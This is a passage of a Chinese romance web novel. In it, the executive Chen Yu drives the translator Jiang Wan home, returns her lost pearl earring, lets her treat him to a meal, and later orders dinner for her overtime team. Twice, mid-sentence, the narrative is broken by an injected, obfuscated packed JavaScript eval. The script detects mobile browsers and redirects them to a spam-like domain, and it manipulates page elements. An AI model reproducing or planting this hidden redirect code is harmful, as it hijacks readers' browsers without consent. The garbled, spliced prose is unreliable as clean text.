陈屿看她一眼,没说话。车内光线很暗,姜挽看不清他的眼神,也看不懂他眼底的情绪。 她还是有些不放心:“可是……” “行了,”陈屿打断她,右拐,迈巴赫加速冲进雨夜,“就快到了。” 这下姜挽再去看,就发现窗外的街景终于变了。 越往南,建筑越低,街景也越来越破败,随之变化的还有陈屿的脸色,也越来越难看了。 姜挽还以为他是不喜欢来这么破旧的地方,忙开口:“这里已经离我家很近了,要不您就在路边把我放下吧。” 陈屿却像完全没听到似的:“那你来指路。” 姜挽没懂:“什么?” “既然离你家这么近,路线你肯定知道,你来给我指路,省得我用导航了。” 呃…… 姜挽怔在那儿,感觉有冷汗从自己的额头往下淌。 她平时都是坐地铁,哪有时间观察附近的路呀,白天她都认不出来,更别说现在是晚上,还下着雨了。 “还是用导航吧,”说着,她把导航打开,输入地址,十分牵强地为自己的行为做解释,“现在下雨,我看不清,而且导航导得也更准确。” 陈屿没拆穿她:“随你。” 按照导航,陈屿一路七拐八拐,终于在十分钟后到达目的地,在一栋低矮的居民楼前停了下来。 没有小区大门,路灯也很暗,又因为下雨,路上泥泞不堪。 他是真没忍住:“你就住这儿?” “啊,对,”从他的眼神里,姜挽也读出来了他对这里的不认可,“城中村嘛,就这样。” “佳译给你开的工资这么低吗?只够你住在这种地方?” 被人当面这么说,姜挽也有点不高兴,可她知道陈屿说的没错,她目前住的地方就是很差强人意。 不过这和佳译给她开的工资多少没关系,沈繁星给她开的工资绝对不低,而且要是加上年底的奖金和分红的话,她在佳译拿的,比她之前在港城拿的要多出不少。只不过她的开销也大,除了要负责自己的生活外,还有沈曼的生活,她也需要安排好。 不过这些,他都不需要知道:“不低,够我花的了。” “那你……”陈屿还想再说些什么,突然,车窗外传来一阵急促的喇叭声,打断了他的话。 他回头去看,是一个骑摩托车的年轻男人,此时正用远光灯照着他们,估计是嫌他们挡着路了,一刻不停歇地按着喇叭。 陈屿确定刚才是靠边停的,不会影响到车辆的通行,但考虑到可能有特殊情况,他还是暂时压下了心中的火气,将车又往旁边挪了一段。 这来回之间,不过也才耽误了一分钟不到,那人便直接过来,对着他冷嘲热讽:“开好车了不起啊?开好车就能挡路了吗?住这种地方还开这种车,还不知道车是怎么来的呢!” “蹭”的一下,一股火瞬间窜至头顶,原本就因为看见姜挽住这种地方的不爽,这一刻被成功激化。 陈屿眯着眼,推开车门,径直下车。 两厢相对,他比那人要高出许多,气势上自然也是压倒性的:“你刚才说什么?再说一遍?” 那人见他穿着打扮讲究,估摸着应该是惹不起的人,于是没敢再开口,一拧油门,骑车扬长而去。 陈屿刚想骂人,姜挽下来了,手中撑着伞,走近,费力举过他的头顶。 陈屿见势,从她手里接了过来,一大半撑在她的头顶:“刚才那人你认识吗?” “不认识。”姜挽住在这里的时间不长,而且平时白天都在上班,见到其他人的机会并不多。 陈屿看着她:“这种情况以前发生过没有?” “没有,今天是第一次。”其实不是,住在这种地方,周围人的素质好坏都有,遇到这种事的几率自然也有。 “知道了,”陈屿怕她淋雨,“你先上车,我打个电话。” 意识到他的这个电话可能会和刚才的事情有关,姜挽忙开口:“如果是因为刚才的事情的话,还是算了吧。” “凭什么算了?不能就这么算了。”今天他在这,绝不能让她受一点欺负,“他的问题,他就该为此道歉,付出代价。” 姜挽压根就不想他在这件事情上花费精力,一点都不想:“真的不用了,而且那个人我也不认识,他的道歉我也不需要。” “你需不需要,和他道不道歉,没有关系。” “真的不用了。”姜挽突然加大音量,被她这么一开口,陈屿还当真停下了。 看着他不解的眼神,姜挽也知道,此刻的自己,在他眼中看起来肯定非常非常的奇怪。 道歉而已,不过是他随手一个电话的事情,不懂她为何会如此抵触。 这可能是他的想法,但姜挽却并不这么想。 分别八年,如今再次重逢,她已经不敢再奢求什么了,只希望能安安稳稳地完成目前这个项目,不想再因为她的原因,给他带来一丝一毫的麻烦。 而且,如今她的生活状况不好,这里的环境他看到了,她的窘态他也见识到了,他俩如今,是天壤之别。就当是她的一点小私心吧,她真的不想再在这件事情上承受更多的难堪了。 这次,陈屿垂眸看着她,没再继续坚持:“行了,我不打就是了,你这一副要哭的样子是要给谁看。” 姜挽其实没觉得自己要哭,但因为她也看不到自己现在的样子,担心会让陈屿更讨厌,忙极力扯出一个微笑:“我没有要哭。” 陈屿垂下眼睫,没再看她:“没时间听你瞎扯,时间不早了,你赶紧回去吧。”说完,他把伞递给她。 “好,”姜挽接过,和他道别,“今天谢谢您。” 陈屿点点头,算是应了。 姜挽走后,陈屿却没立刻离开,他又环顾了一圈周围的环境,沉默着点燃了一支烟。 夜色里,深深吸了一口。 他是真没想到,她竟然会住在这种地方,比他以往梦里梦到的那些场景还要差,还要糟糕。 50. 第 50 章 姜挽到家的时候,另外两个室友已经在了,其中一个在客厅吃晚饭,另一个刚洗完澡从卫生间出来。因为不是很熟,几人也就没怎么寒暄,简单打了招呼便各自忙自己的事情去了。 姜挽开门进房间,将背包挂在衣帽架上后,顺手从旁边的桌上拿起橡皮筋把头发挽了起来。今天这一天,实在是够折腾的。 先是上了一天的班,然后又和陈屿去吃饭,最后回来还遇上这种事,经历真是比她回北城的这几个月都要丰富。 所以,她打算先去洗个澡,然后早点睡觉,今天就奖励自己放松一天,不做任何学习了。 姜挽的卧室很小,没有专门的梳妆台,只有一张平时用于工作的实木书桌,还是她之前在二手市场淘的。 需要工作的时候就把电脑放在上面,要是需要化妆,化妆镜一放,就又成了简易的梳妆台。 这会儿,她正对着镜子,打算先把耳钉取下来。可刚上手,便愣住了。原本两侧都戴着的珍珠耳钉,此时只剩下右边这只了。 这耳钉她带的次数很少,还是之前沈繁星在她生日时送的礼物,说是某奢侈品牌的,给她装门面的。 现在倒好,还没怎么戴呢,东西就丢了。 姜挽忙去找,桌上没有,衣服口袋里也没有。她又去翻背包,整个背包都被翻了个底朝天,还是没找到。 还能在哪呢? 而且她明明记得,从餐厅离开的时候耳钉还是在的。从餐厅到家的这段路,她只待过一个地方,那就是陈屿的车上。 所以,有没有一种可能,她这个耳钉,恰巧落在了他的车上…… 是她收拾东西的时候,还是着急下车的时候?姜挽已经完全没印象了。 坦白讲,虽说这个耳钉很重要,但她和沈繁星之间,一切都可以解释。而姜挽也相信,她要是坦白和沈繁星说这件事的话,她应该也不会生气。 所以,要说她现在最担心的,还是耳钉要是真的落在了陈屿车上,那么一个尖锐的东西,是很不安全的。 而且,要是一不小心再被其他人看到,说不好还会对他的生活造成影响。 虽然知道现在再去打扰他是很不礼貌的行为,可为了避免夜长梦多,姜挽也顾不了那么多了。 她先打开电脑,去邮件里查找陈屿邮件落款的签名电话,也是这么一查她才发现,原来这么多年过去了,他的手机号码竟从未换过。 不像她,来来回回的,不知道换了多少个。 轻呼一口气,姜挽敲击数字,然后把电话拨了出去。 “嘟—” 电话只响了一声,便被那头接了起来,接着便是陈屿那低沉中又带着点清冽的声音从听筒中传来:“哪位?” 姜挽没想到他会接得这么快,原本预设好的措辞也因为紧张一时想不起来了,她只好先打招呼:“陈总,您好。” 陈屿看一眼手机屏幕上显示的大大的“姜挽”两个大字,故意再次重复:“哪位?” “我是姜挽。” “哦,有事?” 这语气不大友善,姜挽听出来了,估计是嫌她烦。明明刚刚才见,这会儿却又要打电话来骚扰他,她只得尽快将自己这通电话的目的表达出来:“有件事估计得麻烦您一下,不知道您方不方便?” 陈屿没问她什么事,而是反问:“你怎么知道我的电话?” “您放心,我是从正规渠道查到的,”姜挽担心他误会,忙解释,“您邮件的签名里有。” “哦,”陈屿声音很淡,听上去不大满意她这个回答,“什么事,说吧?” “请问您现在已经离开了吗?” 不知道她要干嘛前,陈屿是不会先回答问题的:“你先说什么事。” 毕竟是有求于人家,姜挽也不好一再多问,只得坦诚相告:“我的耳钉刚才可能落在您车上了,您方便的话,您能不能帮我找一下?” “耳钉?” “对,一只白色的珍珠耳钉。” 陈屿有印象了,晚上吃饭的时候他还多看了两眼,样式和色泽都很衬她。 他这会儿还没离开,还坐在车里,听她这话,便当场打开了阅读灯,偏头去看,果然在副驾驶的座椅上发现了一只白色的珍珠耳钉,昏蒙的光线下,闪耀着沉静又淡雅的光芒。 陈屿拿起来:“这个耳钉对你很重要?” “嗯。” “很重要的人送的?” “对。”在姜挽心里,已经自动把沈繁星也划分到重要的那一类里面了。 哪知,陈屿听完这些,却突然不说话了。 “陈总?”姜挽尝试着重新拉回话题,“您还没回答我刚才的问题,所以您现在是已经离开了吗?要是还没离开的话,我想下去……” “我已经离开了,”陈屿打断她,盯着手中的那只耳钉,眉头拧起来,“而且你说的什么耳钉我也没看到,能随手弄丢的东西,应该也不是什么贵重的物品。” 姜挽下意识地想反驳,可又觉得没必要,也没立场。要反驳他什么呢?反驳他对贵重物品的定义?还是反驳他究竟有没有帮她找? 可弄丢东西确实是她的问题,而他也确实没有义务帮她找。 “好的,我知道了,不好意思打扰您了,那我再去其他地方找找。” 一听她还要找,陈屿更生气了,瞬间便切断了电话。可挂了电话后,他的情绪也没缓解多少。 珍珠耳钉,很重要的人送的,而且她还这么着急地找,种种迹象表明,这个送给她耳钉的人,和她的关系绝对不简单! 甚至很有可能就是她的…… 陈屿甚至不愿意去想那三个字。 一气之下,他打算立马离开这个地方,在这里多一秒都待不下去。可刚将车子启动,却发现仪表盘上却显示了“E”,车没油了,估计是因为那会儿他故意绕路的原因。 陈屿边搜索最近的加油站,边在心里暗自骂自己,觉得他这一晚上真是自找的,简直和滴滴司机差不多。 不对,他还不如滴滴司机呢,人家司机是挣钱,他不仅倒贴钱,还生气! 回去的一路,雨很大,路也很堵,陈屿到家的时候已经临近夜里十一点了。下车之前,他又看了一眼那只耳钉,虽然心里很不情愿,可担心姜挽找不到这东西会着急,还是给她发了一条短信过去:【东西找到了,明天拿给你。】 短信发完,不到一秒便收到了她的回复:【太好了,真是太感谢您了!那我明天去公司找您拿。】 陈屿原本还担心这个点给她发短信会打扰到她休息,可看她这个回复速度,应该是压根就没睡,指不定丢了这个玩意儿有多伤心,正难受得睡不着觉呢。 夜那么黑,也盖不住他眼中的不高兴:【白天我很忙,没时间处理这些,下班会联系你。】 【好的,那我等您消息。】 次日,一整天的时间,姜挽都没收到陈屿的任何电话和短信,她也没敢问,就那么等着。终于在临近下班的时候,手机里姗姗来迟地进来了一条短信,是陈屿发的。 【晚上七点,地下车库。】 这时间和姜挽原本的计划差不多,正常她下午六点下班,再加会儿班,时间也差不多就七点了。所以她回复得很快:【好的,没问题。】 晚上七点,姜挽准时下楼,到地下车库的时候陈屿还没到,等了一会儿他才出现,她忙上前:【谢谢您。】 她是按照短信时间到的,可看在陈屿的眼里就不是那么回事了,只会觉得这玩意儿对她很重要,她迫不及待地想要把这玩意儿拿回去,而且还因为马上就要拿到了,脸上全是掩饰不住的高兴。 他淡瞥她一眼,语气有些冷:“有必要这么高兴吗?” “嗯?”姜挽有点尴尬,她能感觉到他不高兴,但一时又猜不到是因为什么。思来想去只有一条,那就是这件事太麻烦了他了。毕竟人家这么一个日理万机的大领导,帮她找东西,还特意送过来,抱怨两句也正常。 其他的话姜挽也不敢说太多,只想赶紧拿了东西,别再耽误他:“陈总,那个……耳钉呢?” 陈屿看着她,冷漠地从口袋里掏出一个白色的小盒,又冷漠地递给她:“说了给你,还能少了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448296|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的吗?” “这是?”姜挽有点不敢接,怎么还有个盒子? 陈屿见她盯着那个盒子,再次冷漠地解释:“里面就是耳钉。盒子是随手从家里拿的,你那耳钉那么尖锐,不得找个东西装着。” “也是,还是您想的周到。” 陈屿没接这话,只淡淡地看着她。 姜挽被他看得有点不自在,想着已经拿到了东西,就没必要再继续耽误人家:“您看还有其他的事吗,要是没有的话,我就不耽误您的时间了。” “你很着急?”陈屿轻嗤一声,“帮你找到这么重要的东西,你难道不应该感谢我一下吗?” “应该,当然应该了。”姜挽不是没想过这事,只是按如今他们两人之间的差距,她不敢提而已。怕提出来,也不过是被当成笑话罢了。 “我一时也想不到该如何感谢您,要不这样,您直接提,只要您开口,我一定尽力满足。” 陈屿一眼瞥见她涨红的脸颊和捏着背带的指尖,漫不经心地开口:“你不用这么紧张,我对你没什么兴趣,也不会提出什么过分的要求。” 姜挽觉得赧:“我没这样想。” 陈屿没再跟她绕圈子:“按照惯例,感谢别人总是要请客吃饭的,你就请我吃一顿饭吧,这个要求不难吧?” 姜挽没想到这么简单,当场承诺:“当然不难。” “你先别急着答应。”陈屿给她泼冷水,“等我说完再答应也不迟。” 姜挽果然不说话了,抬起下巴,十分乖巧地看着他,这么多年了,陈屿还是第一次看到她这种表情。 琥珀色的瞳仁亮晶晶的,似被松脂包裹,还有那挺秀的鼻梁和微张的嘴唇,他赶紧别开视线。 “时间,地点,都由我来定。”陈屿故意放慢语速,好以此来平息自己内心的躁动。 考虑到他的消费水平,姜挽愣了一下,没立马答应。 “怎么?这就犹豫了?看来你这感谢的心也没多诚啊。” 姜挽咬咬牙,打算豁出去了:“您接着说。” “时间定在这周六。” “具体几点呢?您能说得再准确点吗?”她周六原本和尤伽约好了要见面的,所以想问清楚,好能提起错开时间。 陈屿却显得没什么耐心:“怎么,你不方便?有其他约会?” “没有。”姜挽赶紧开口。 “那不就行了,”陈屿的脸色这才缓和几分,“时间我现在定不了,到时候得看我当天的计划,地点的话,到时候我再通知你。” 姜挽没有其他的选择:“好,那我等您通知。” 陈屿的短信总是来的那么准时准点,周五晚上临睡前,一分不多,一分不少,姜挽手机里收进来他的消息:【明天上午十点,我去接你。】 时间没问题,他上次那样说之后,姜挽就已经提前和尤伽解释了,只不过她没提陈屿,用的是工作的原因。尤伽很是理解她,让她先忙,她们可以下次再约。 只是过来接她这件事,就没必要了吧。 知道他一贯不喜欢被拒绝,姜挽只得旁敲侧击地开口:【吃饭的地方离地铁近吗,要是近的话,我坐地铁过去也很方便的。】 陈屿像是知道她的想法,一句话就把她打回来了:【不近,而且那里只对VIP开放。】 言下之意,没有他,她根本进不去。 听起来像是很高级的地方,姜挽自以为委婉地开始试探:【饭店叫什么名字?在网上能查到他家的信息吗?要是提前点菜的话,会不会有更多的选择呢?】 陈屿一秒看透她的想法:【你是想问这家店贵不贵吧?】 被拆穿了,姜挽索性也就不再绕弯子:【那您觉得贵吗?】 【还行,以佳译给你开的工资,应该是能吃得起的。】 …… 姜挽突然无比后悔上次在他面前说的这句话,这两个能相提并论吗,一个是一个月,另一个可是一顿啊。 可事已至此,她也只能硬着头皮上了:【好的,那明天见。】 这句话,陈屿当然是不会回复的。 51. 第 51 章 第二天一早,姜挽一睁眼就已经九点半了,距离十点只剩半个小时,她当即马不停蹄地开始收拾。 其实她昨晚是定了闹钟的,只是因为睡前太忧虑付钱的事,导致很长时间都没睡着。后来好不容易有点迷糊了,脑子里翻来覆去又都是这点事,所以才导致她今早没听到闹钟,醒来就是这个点了。 哎,没办法,这点钱对陈屿那种资本家而言可能没什么,可于她这种打工人而言,意义就完全不一样了。是房租,是生活费,是保障她们基本生活必不可少的东西。 坐在镜子前,姜挽差点被自己的黑眼圈吓到,此时她眼睛下面的那两个大黑眼圈,浓重得已经不能用“熊猫”来形容了,简直就是打肿的熊猫。 一层粉,两层粉,三层粉,还是遮不掉!眼看着时间马上就到十点,姜挽索性不管了。 不用想,陈屿肯定是不喜欢迟到的,她也来不及做其他更多的收拾了,将头发扎起来,随意挑了一套运动装便直接出门了。 到楼下的时候,刚好十点。 陈屿的车还停在上次那个位置,姜挽走过去,驾驶座的车窗降下来,一张帅得近乎不真实的脸瞬间出现在她的视线里。 不止脸,陈屿还穿着西装,甚至还有头发和领带,一看也都是经过仔细打扮的。和他一比,姜挽自己都觉得不好意思,她的精神面貌和穿着打扮,简直就像是跟在后面给他提包的,根本不像是一起出去吃饭的人,更别说还是她请客了。 当然,陈屿也没有放过这个挖苦她的机会,第一眼,他先扫到她的黑眼圈:“怎么,因为担心今天这顿饭,一晚上都没睡着觉?” 被他猜对了,但姜挽当然不会承认:“不是,是因为昨天晚上加班做翻译,所以睡得晚了点。” “哦?是吗?” 第二眼,他瞥见她今天的这身穿搭,淡色系的运动套装,老实讲,穿在她身上很漂亮。身姿挺拔,腿长腰细,再加上白到发光的皮肤,即便是不化妆,看起来也有一股清水出芙蓉的清纯和恬淡。 可他嘴上当然不会这么说,故意皱眉:“那你这身衣服又是怎么回事?故意穿成这样?恶心我?好让我一气之下就不去了,你刚好也可以省下这顿饭钱?” 姜挽在心里忍不住翻了个白眼,虽然这身衣服是随便了点,可也没有到“恶心他”的地步吧。 “那我再回去换一套?” “算了吧,反正穿什么也都差不多。” 陈屿升起车窗,明显不想再搭理她了。 姜挽在原地轻呼一口气,这才绕到副驾驶,开门上车。 到了地方,姜挽才知道,陈屿果然没骗她。吃饭的地方在城外,别说地铁了,开过来的一路他们连一辆公交车都没见到。不过环境倒是很好,看起来像是一座私人庄园。 还是西餐,不过和之前的略有不同。伊比利亚火腿,雪莉酒,还有海鲜饭,这顿看起来,更像是带着浓浓地中海风情的西班牙风味。 这些姜挽当然不懂,是旁边的外国服务员小姐姐介绍的,而且她很专业,除了这些,还将原材料的制作和选材也详细和他们做了介绍。 什么这种火腿的制作时间一般为2—3年,一定得是西班牙伊比利亚的纯种黑猪,吃橡果长大,腌制后再用两年的时间来进行自然风干。还有喝起来能感觉到西班牙阳光的雪莉酒,以及吃一口就仿佛置身于地中海海边的西班牙绯红虾…… 虽然她介绍得天花乱坠,可此时听在姜挽的耳朵里就只有一个字,那就是“钱”! 这个很贵,那个也很贵,还有那个更贵! 她甚至有点埋怨陈屿,为什么没问她的意见,就擅自点了这么多贵的东西。 “你这么看着我干嘛?不是你说要请我吃饭的吗?怎么着,嫌贵了?” 姜挽这才意识到,自己刚才的情绪有些过分外露了,可因为实在是心痛,她也提不起精神来应付他。 陈屿继续揶揄道:“这才刚开始,你就这副表情,很不好看啊。” 姜挽依旧没搭腔。 见此,陈屿没再继续开口,而是直接叉了一片火腿送进嘴里,可没吃两口,他却皱眉,继而放下叉子,给了他今天的第一句评价:“不够鲜。” 听他这么说,姜挽心念一动,顿时有了想法:“那可以退吗?” “你觉得呢?”陈屿慢条斯理地拿起旁边的餐巾布擦拭嘴角,“你以为这里是你平时吃的人均几十块的路边摊呢?” 也对。 “那怎么办?” “不是还有你吗?你尝尝看。” 姜挽本来不想吃的,她原本的计划就是只请他吃。可现在陈屿不喜欢,她也不吃的话,就意味着这些东西就会被白白浪费掉。 来都来了,钱也会出,不吃白不吃。 她学着陈屿的样子,也叉了一片火腿送进嘴里,很意外,入口即化,唇齿生香,除了肉质本身的鲜香外,隐隐约约还有一个森林和橡果的自然之味。 和陈屿刚才的评价完全不一样! “您的要求是不是有点太高了?” “有没有可能,是你的要求太低了?” 话虽这样说,可陈屿还是把那杯雪莉酒推到她面前:“搭配酒一起试试。” 浓郁的肉香,碰上干涩的陈年,橡果,柑橘,还有海盐和杏仁的回甘,姜挽不得不承认,有些东西贵,就是有它贵的道理。 一口气,她连吃了好几片。接下来是海鲜,每一道,也都有它自己独特的韵味。 最后,一顿饭,大部分都是由姜挽解决的,陈屿只是偶尔挑着尝了几口。 吃罢,姜挽拿桌上的餐巾布擦拭嘴角,很不好意思:“您都没怎么吃。” 陈屿还是那副冷淡的样子:“我不习惯中午吃太多。” 姜挽已经习惯了:“哦。” 今天本来就是她请客的,现在东西又基本全被她吃完了,姜挽就更没有推脱的理由了,她站起身,打算去结账,陈屿也完全没拦她,还顺便帮她指了一下前台的位置。 过去的一路,姜挽都在暗暗给自己做心理建设。没关系的,毕业这么多年了,她还是第一次来这么高级的地方吃饭,就当奖励自己一个见世面的机会了。况且,这里的味道确实不错,她还顺便还了陈屿一个人情…… “姜小姐,您一共消费535元。” 自我安慰的思绪戛然而止,姜挽简直不敢相信:“多少?” 她知道这顿饭不会便宜,几千,甚至上万的金额都在她脑海里出现过,却唯独没想到竟然会是这个数? “535。”工作人员挂着甜甜的笑容又重复了一遍。 “是人民币吗?” “当然。” 姜挽还是不相信:“您确定没算错吗?” “不会错的,这些都是系统自动带出来的价格。” 姜挽没话了。 “请问您怎么支付?” “支付宝可以吗?”这点钱,甚至都没有必要用她专门带过来的那张银行卡。 “当然可以。” 拿到账单,姜挽还特意又加了一遍,金额没错,确认是535元,只不过她还是觉得有些不大敢相信。 回到座位,她把账单递给陈屿看,还有点没从刚才的惊讶中反应过来:“这里的价格,未免也太便宜了吧。” 陈屿接过,只匆匆扫了一眼,像是早知道似的,并没像姜挽那般惊讶:“你以为会有多少?” “两千?三千?再不济,也该有一千吧,”姜挽抬头环顾一圈四周,轻声说,“反正不会是五百,单单这个环境就不止了。” 陈屿没接她这话,而是反问:“这样不好吗,不是刚好可以满足你的心理预期?” “话是没错,可我还是觉得有点不敢相信。” “行了,可能今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他轻笑,语气不重,但嘲讽的意味明显:“老实跟你说吧,我是一个在工作上要求非常严格的人,而且,针对工作结果,我有一套自己的审核标准。” 他指尖轻点着方向盘,侧眸看她,“尼斯项目的翻译目前既然是由你负责,那么后续我免不了会经常找你。你要是不想每次有问题我都在邮件里@你的话,最好还是把微信加上。” 话都说到这了,陈屿偏偏还要再加上一句:“当然,加不加都随你,我都无所谓的。” 他都这样说了,姜挽哪里还有拒绝的道理:“加,麻烦您打开二维码,我扫您。” 陈屿这才懒洋洋地又把二维码打开,递给她。 扫描,写备注,发送。 很快,微信就提示双方已经成为了好友。面对面,他们俩谁都没好意思去翻对方的朋友圈。 到这儿,姜挽准备下车了,没想到刚推开车门,陈屿却再次叫住她:“对了,还有一件事我得提醒你,以后在外面,不要再‘陈总陈总’的叫我,也不要再用‘您’来称呼我。” 这是他一贯的风格,说事情总喜欢下命令,从不解释原因,而姜挽又是一个喜欢问清楚的性格:“为什么?” 陈屿眯着眼看她,那表情真像是再难以忍受似的:“我讨厌下班后还讨论工作的事情,你这样叫只会提醒我,精准地踩中了我的所有雷点。” 姜挽觉得他和以前还真是有很多地方都不一样了,她的指尖还搭在门把手上,轻声开口:“那我应该怎么称呼?” “怎么称呼你自己想,但这两个不能再用。” 行吧。 下了车,回去的路上,姜挽忍不住点开了陈屿的微信头像。他的头像很简单,就是一张简单的风景照,甚至因为太过于普通,一时间也辨认不出是哪里。和他头像一样简单的,是他的朋友圈,而且还设置了三天可见,所以只有空白一片。 与此同时,另一边,陈屿此时还坐在车里,也正翻看着她的微信。几乎和他的一模一样,姜挽的头像也很简单,是那种网上随处可见的任意一个女孩的背影,朋友圈也是三天可见。 有风吹来,卷起一阵凉意。 八年了,他们第一次再次加上对方的微信。有些陌生,但也有一股类似的熟悉情绪正在悄悄被唤醒。 52. 第 52 章 周六出门了,周日姜挽就不大想再出去。窝在家里看了部电影,又做了点翻译,时间很快过去。 次日,又是新的一周。 姜挽正在检查上周的翻译,突然接到一个会议邀请,是周海发的,时间很紧,就在十五分钟后,而且还发给了整个尼斯项目的所有人。 他们每周三有例会,一般重要的事情都会拿到例会上说,突然这么紧急的会议邀请,肯定是项目出了问题。果不其然,等姜挽带着电脑来到会议室的时候,大部分人已经在了,虽说大家都还不知道发生了什么事,可现场气氛安静,每个人脸上的神色也都很严肃。 人都到齐了,周海快速做了前因后果的介绍,大家这才明白过来,原来是项目设计图出了问题。 周海并未指明是谁的问题,但其实不能辨认,现场负责设计图的一共6个人,其中只有一个小姑娘红着眼眶。 果然,周海话音刚落,她便抽噎着开口:“对不起,是我的问题,画图的时候没有注意到这个参数,给大家添麻烦了。” “先不说这些,”周海打断她,语气虽严肃,可仔细听却并没有责怪的意思,转而,他把视线转向其他人,“这么着急把大家叫来也是因为这件事,现在设计图出了问题,就代表后续的工作全部都要推翻重做。文件,标准,乃至翻译,都需要重来一遍。但项目的交期又是不可改的,所以,这几天可能要辛苦大家了。” 他话说完,先是一阵沉默,继而在这沉默中突然有人开口:“没问题。” 紧接着,接二连三的,全是这种声音,什么“没问题”,“这有什么的”,“工作哪有不犯错的”,一声接着一声,一句压着一句。 姜挽不是GSC的员工,她没开口,但不自觉也被这种氛围影响着。从左到右,她看着一张张不是那么熟悉可此刻却斗志昂扬的面孔,突然意识到,她待的这个项目组,和她以往参与的那些外派项目似乎不大一样。 因为她没开口,周海特意询问了她的意见:“Annie,因为你不是GSC的员工,所以你要是有异议的话,可以提出来,我会尽力协调。” 姜挽看着他,没犹豫:“我也没问题。” “好,”周海瞬间松了一口气,“既然大家都没问题,那我现在就去和陈总汇报。” 发生了这么大的事情,不可能不和上面汇报。 负责设计图的小姑娘想和他一起,被周海拒绝了:“我去就够了,有结果会通知大家。” 周海到的时候,陈屿刚开完一场会,见他急匆匆进来,还以为发生了什么大事,听他汇报完后觉得也还好。 周海战战兢兢的:“您不生气吗?” 陈屿双腿交叠,身体往后仰靠:“你不是已经带着解决方案来了吗?” 周海还是不大敢相信,在他的印象里,陈屿一贯冷面,且对工作要求极高,况且项目启动前他也再三强调过尼斯项目的重要性。来之前他都想好了,要是需要担责的话,他会承担下来,怎么也没想到会这么顺利。 “那您还有其他的指示吗?” “没有,你的项目你有绝对的调配权利,我只关注最终的结果。” 周海明白了:“那我现在就去办,关于这次的问题,我也会尽快出个分析报告,确保以后不会再发生。” “等一下,”陈屿叫住他,其他的他都可以不在意,但唯一条他不得不额外交代,“姜挽不是GSC的员工,她要是对加班有异议的话……” 陈屿话还没说完,就被周海打断,他是想说她要是不想加班,就不必强求,可周海却误会他对姜挽有意见,忙帮她解释:“您放心,已经问过Annie的意见了,她没有问题,愿意配合我们。” “哦。”陈屿没话说了。 “那我先去办了?” 陈屿摆摆手,表示他没意见。 周海走后,陈屿起身来到落地窗前,总裁办公室楼层很高,隔窗甚至能看到飘动的白云。从他站的这个角度往下俯瞰,万千浮世,繁华人间,整个北城似乎都匍匐在他脚下。 可陈屿却觉得没什么意思。 八年过去了,他好像越来越看不懂她了,总也猜不透她的想法,不能投其所好。 手机里有照片,他打开看了会儿,继而转身回到办公桌前,拨通了内线电话:“帮我做一件事……” 从下午一点到晚上八点,整整七个小时的时间,窗外由一开始的艳阳高照,到暮色四合,再到如今的繁星点点,在大家的努力下,修改版本的基本框架总算是弄出来了,后续就是在框架上增添补充的工作。 周海很高兴,他压根没想到会进展得这么顺利,起身拍了拍手,招呼着大家先把工作停下:“大家辛苦了,今天表现得都很不错,先把手头的工作放一放,看看想吃什么,我请大家吃晚餐。” “真的吗,周经理,这晚餐有预算吗?”有和周海关系近的同事开始调侃。 周海笑着应声:“没有,大家随便点。” “您这样说,那我们可不客气了啊。” “赶紧点,不用和我客气。” 忙碌了一下午,这会儿难得放松,大家的情绪都很随意,三三两两地凑在一起开始商量吃什么。 正当大家热火朝天地讨论时,办公室的门却突然从外面被推开了,来人是宋泽宇,手上提着精致的食盒,身后还跟着十几个服务员打扮的工作人员,每个都和他一样,也都提着食盒。 大家都以为是周海点的餐到了,纷纷开始调侃:“周经理,您这速度够可以的啊,我们这都还在看呢,您点的这么快就到了。” “是啊,竟然还能劳烦宋助理帮忙送过来,不服不行。” 食盒摆上桌,有人从食盒上的图案认出来,这些饭菜都来自北城最出名的那家私人饭店,更是惊呼:“周经理,没想到您还真是深藏不够,这家饭店据说在北城有钱都不一定能订到位置,没想到他家竟然还送外卖,我今天也算是见识到了。” 大家你一言我一语的,周海都快被说迷糊了,但有一点他很清楚:“这些不是我点的,”转而他去和宋泽宇确认,“宋助理,这是?” 宋泽宇笑着和他们打招呼,“这是陈总请大家吃的。” 听到陈屿的名字,姜挽瞬间愣住了,不止她,其他人也都停了下手上的动作,顿时噤了声,没人敢再随便调侃。 一瞬间会议室鸦雀无声,原本热闹的环境瞬间针落可闻。 谁能想到啊,他们不过是日常加班而已,竟然劳动了公司总裁为他们订餐?而且还是这么高级别的? 有人开始小声猜测:“应该和周经理那会儿的汇报有关系,这样看,陈总还真是看重他。” 周海被这阵仗搞的,也有点懵:“宋助理,您没送错吧?” “当然没有,”他招呼大家来吃,“放心吧,就是陈总为大家点的,陈总体恤大家加班辛苦,大家不用客气。” 不愧是高级饭店做出来的东西,食盒揭开的那一瞬间,色、香、味,应有尽有。本来就饿了,被这香味一勾,大家也就没再多可客气。 差不多吃完的时候,陈屿突然出现了,大家都没想到他会出现,忙停下手上的动作,起身准备打招呼。 “不必拘谨,你们该干嘛就干嘛,我就是过来看看。”陈屿却很随意,他捞了最近的一把椅子坐下,话虽是对着大家说的,可眼神却有意无意的总是瞥向姜挽的方向。 注意到她旁边的食盒一动未动,陈屿忍不住皱眉:“这么晚了,大家吃完早点回去休息吧,有什么事明天再说。” 周海也跟着开口:“确实,基本框架都已经弄完了,其他的,明天再弄也来得及。” 领导都发话了,他们自然照做,陆陆续续的有同事吃完饭开始离开,姜挽将刚才修改的翻译点了保存,拿上电脑,也准备离开。 刚起身,陈屿却突然开口:“姜挽,你稍微留一下。” 姜挽一愣,周海也是一愣,他以为陈屿要批评姜挽,毕竟从前几次沟通来看,陈总对这个外派来的翻 